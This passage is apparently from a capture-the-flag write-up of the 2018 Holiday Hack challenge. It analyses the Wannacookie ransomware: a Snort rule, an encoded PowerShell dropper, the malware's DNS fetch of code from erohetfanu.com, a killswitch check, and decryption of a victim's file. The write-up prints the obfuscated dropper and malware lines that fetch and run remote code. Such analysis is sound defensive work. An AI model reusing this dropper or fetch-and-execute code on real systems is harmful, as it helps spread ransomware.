(msg:”badcookie&quot;; sid:10000001; rev:001; content:”|37 37 36 31|”;)</p><p>In reality it took me a lot more time to get the right rule, mostly because I never wrote a snort rule before, and I kept trying new variations that only blocked outgoing traffic. For future reference I recommended understanding the full <a href="https://paginas.fe.up.pt/~mgi98020/pgr/writing_snort_rules.htm">syntax</a> of the rule you write.</p><h4>Identify the Domain</h4><p>As a result of the previous challenge we are provided with a <a href="https://www.holidayhackchallenge.com/2018/challenges/CHOCOLATE_CHIP_COOKIE_RECIPE.zip">link</a> to a zip file containing the malicious word document. As well as the assignment to figure out which domain the malware is talking to.</p><p>From the malware talk we know we can run <a href="https://github.com/decalage2/oletools/wiki/olevba">olevba3</a> against the .docm to see if it contains any malicious Powershell scripts and that we can slightly adapt this script so it wont execute but write into an output file.</p><pre>pwsh -ExecutionPolicy Bypass -C “sal a New-Object; (a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(‘lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG’),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd() | Out-File dropper.ps1”</pre><p>The code in dropper.ps1 file looks like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0Vf0UpSu3iBS8_zzswFozQ.png" /></figure><p>This piece of code does the following:</p><ol><li>It calls 77616E6E61636F6F6B69652E6D696E2E707331.erohetfanu.com or(wannacookie.min.ps1.erohetfanu.com) to determine the length of the loop, the call returns <strong>64</strong>. -1 means the loop runs 64 iterations from 0 to 63 this should sound familiar if we take a closer look at our snort challenge pcap files</li><li>In then concatenates the results of these 64 calls into a variable $h</li><li>It then uses the <strong>H2A </strong>functions to decode the hex responses into ASCII and execute them.</li></ol><p>However this for now tells us enough to finish this part of the challenge, the domain the malware is communicating with is <strong>erohetfanu.com</strong></p><h4>Stop the Malware</h4><p>Our next step seems logical, we can slightly alter the dropper.ps1 code so that instead of executing the code it writes it to a file. After doing this we are left with the full source code of the malware, well not quite full as we are downloading the minified version, after finishing the challenge I also found out you could ask the server for the non minified one.</p><p>Because of the size of this code I have not included this here, instead I will include the relevant functions when I need them.</p><p>Now that we have the source code in hand it is time to see if we can find a similar killswitch functionality in this malware’s source code. Very quickly we find one check in the main function that looks interesting.</p><pre>$S1 = &quot;1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000&quot;;</pre><pre>if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8)))<br>     {<br>        return<br>     };</pre><p>Breaking down what this check does:</p><ol><li>it reads a heavily obfuscated string from variable $S1</li><li>de-obfuscates the variable by using a number of internal functions of the script</li><li>Resolve-DnsName on the result, as well as a call to 6B696C6C737769746368.erohetfanu.com which decodes to killswitch.erohetfanu.com</li><li>in the end when the IF expression is true, this check cancels the running of the malware, by calling “return” and exiting the program loop.</li></ol><p>Let’s try and decode this obfuscated value shall we. If we rewrite the expression and store each intermediate result into a variable we can set a debug point and print out the value:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XpUS7qyiAPkj2uGL1fotJQ.png" /></figure><p>Registering the domain <strong>yippeekiyaa.aaay </strong>in the in-game HoHoHo-daddy terminal finishes this part of the challenge. As well as giving us a link to a zip containing a memory dump of the running malware as well as Alabasters password safe that was encrypted by the malware.</p><h4>Recover Alabaster’s Password</h4><p>To recover Alabaster’s file we will need to understand how the malware encrypted the file, which secrets are stored in the memory dump and how we can use those secrets to decrypt the file.</p><p><strong>Understanding the code</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r3NwVk0aeAXuq92w5zuDPg.png" /></figure><p>The above screenshot shows the relevant code from the malware that prepares all variables used for encrypting the files, as well as the final call to the encryption function. The comments should clarify what each line does, however I will summarize it here nonetheless.</p><ol><li>The first line call the g_o_dns function, which works similarly to the dropper scripts and retrieves the server.crt (public key)file from the malware domain, by asking for this file in hex. This is important in our next step:$p_k</li><li>The second line generates a random 16 bytes long key: $b_k</li><li>The third line transforms these bytes into hex: $h_k</li><li>The fourth line calculates the SHA1 has of this: $h_k</li><li>The fifth line encrypts the $b_k with the $p_k and stores it in: $p_k_e_k which is a string of length 512. Important is to note that the p_k_e function used to encrypt the key, returns the encrypted value not in bytes but converted to hex.</li><li>The sixth line sends the encrypted byte key over the network to the malware server and stores the machines unique id into:$c_id</li><li>this line retrieves the current date time</li><li>this line retrieves the files from various folders to encrypt and stores it in:$f_c</li><li>this line calls the e_n_d function that encrypts the files $f_c using $b_k and the flag <strong>true </strong>means to encrypt and not decrypt</li><li>the next to lines clear the $b_k and $h_k from memory</li></ol><p>Understanding the code tells us a lot of things, first of all it is not as simple as just reading the random generated value from memory. As we could clearly see in the last step <strong>10</strong> both the hex and byte representation of the keys are cleared from memory. The only form in which the original byte key is available to us is either in SHA1 hashed form or public key encrypted form in the memory dump or potentially the pcap.</p><p>This means that, as was hinted to us in the sleigh-bell lottery challenge, our mode of attack will be: retrieve the private key to the malware’s public key, retrieve the encrypted key from memory and decrypt it. Then lastly use this random key to decrypt the file.</p><p><strong>Getting the private key</strong></p><p>Getting the private key is relatively easy as soon as you realize how the malware is constantly getting files from the malware server. Simply using the existing g_o_dns function and instead of asking for the server.cert we ask for the server.key. In hex of-course 7365727665722e6b6579</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N0VXTzA311HtRoqS1jQPeA.png" /></figure><p>Using openssl we can combine the public and private key into a pfx file:</p><p>openssl pkcs12 -export -out server.pfx -inkey private.key -in server.cer</p><p><strong>Getting the encrypted random key from memory</strong></p><p>Using the instructions from the malware analysis video to create the regex for catching hex values, combined with the knowledge that our $p_k_e_k key is a 512 length hex string it is quite trivial to find the key in the memory dump.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dxsdbd-W8gGWigxW6KySJg.png" /></figure><p><strong>Decrypting the key from memory and decrypting the file</strong></p><p>Finally the end is in sight! Using all the knowledge we gathered on how the malware works we can now use a combination of some self written code and reusing the original encryption function to decrypt our encrypted file. We leave the encrypted file on the desktop, cause we know the scripts expression will pick it up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E7EN8qPIuWj4CBTEbkAlfA.png" /></figure><p>Opening up the elfdb file we find the password to the vault: <strong>ED#ED#EED#EF#G#F#G#ABA#BA#B</strong></p><h3>Level 10 — Who Is Behind It All?</h3><p>For the final Challenge we need to enter a locked room in-game, for this we need to play the right tune, what could it be. Alabaster explains to us that his key is <a href="https://en.wikipedia.org/wiki/Sergei_Rachmaninoff">Rachmaninoff</a> and while it is equal to Mozart it should be in the key of D not E.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UkBKaahVeiDmzsbw77NqIg.png" /></figure><p>The game tells us the same. Now one could use the instructions in the decoded pdf of Challenge 8 to transpose this musical piece, or if you are like me (incapable of reading any musical notes) you could use a web tool to do it for <a href="http://www.simusic.com/transpose.html">you</a>. D C# D C# D D C# D E F# E F# G A G# A G# A</p><p>Entering this key grants us access to the last room, where we find Santa, Hans and the toy soldiers who turn out to be elves in disguise.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*1jevh1KjZlVS_iLeSTPVSw.png" /></figure><p>You see it turns out that the whole malware attack on Santa’s infrastructure was a clever recruitment ploy to find a suitable security expert! how clever :)</p><p>If you read until here, I highly recommend hopping over to the <a href="https://www.youtube.com/channel/UCNiR-C_VXv_TCFgww5Vczag">Kringlecon</a> Youtube channel and checking out some of the other amazing talks there for some more security goodness.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=28cede30d1a4" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>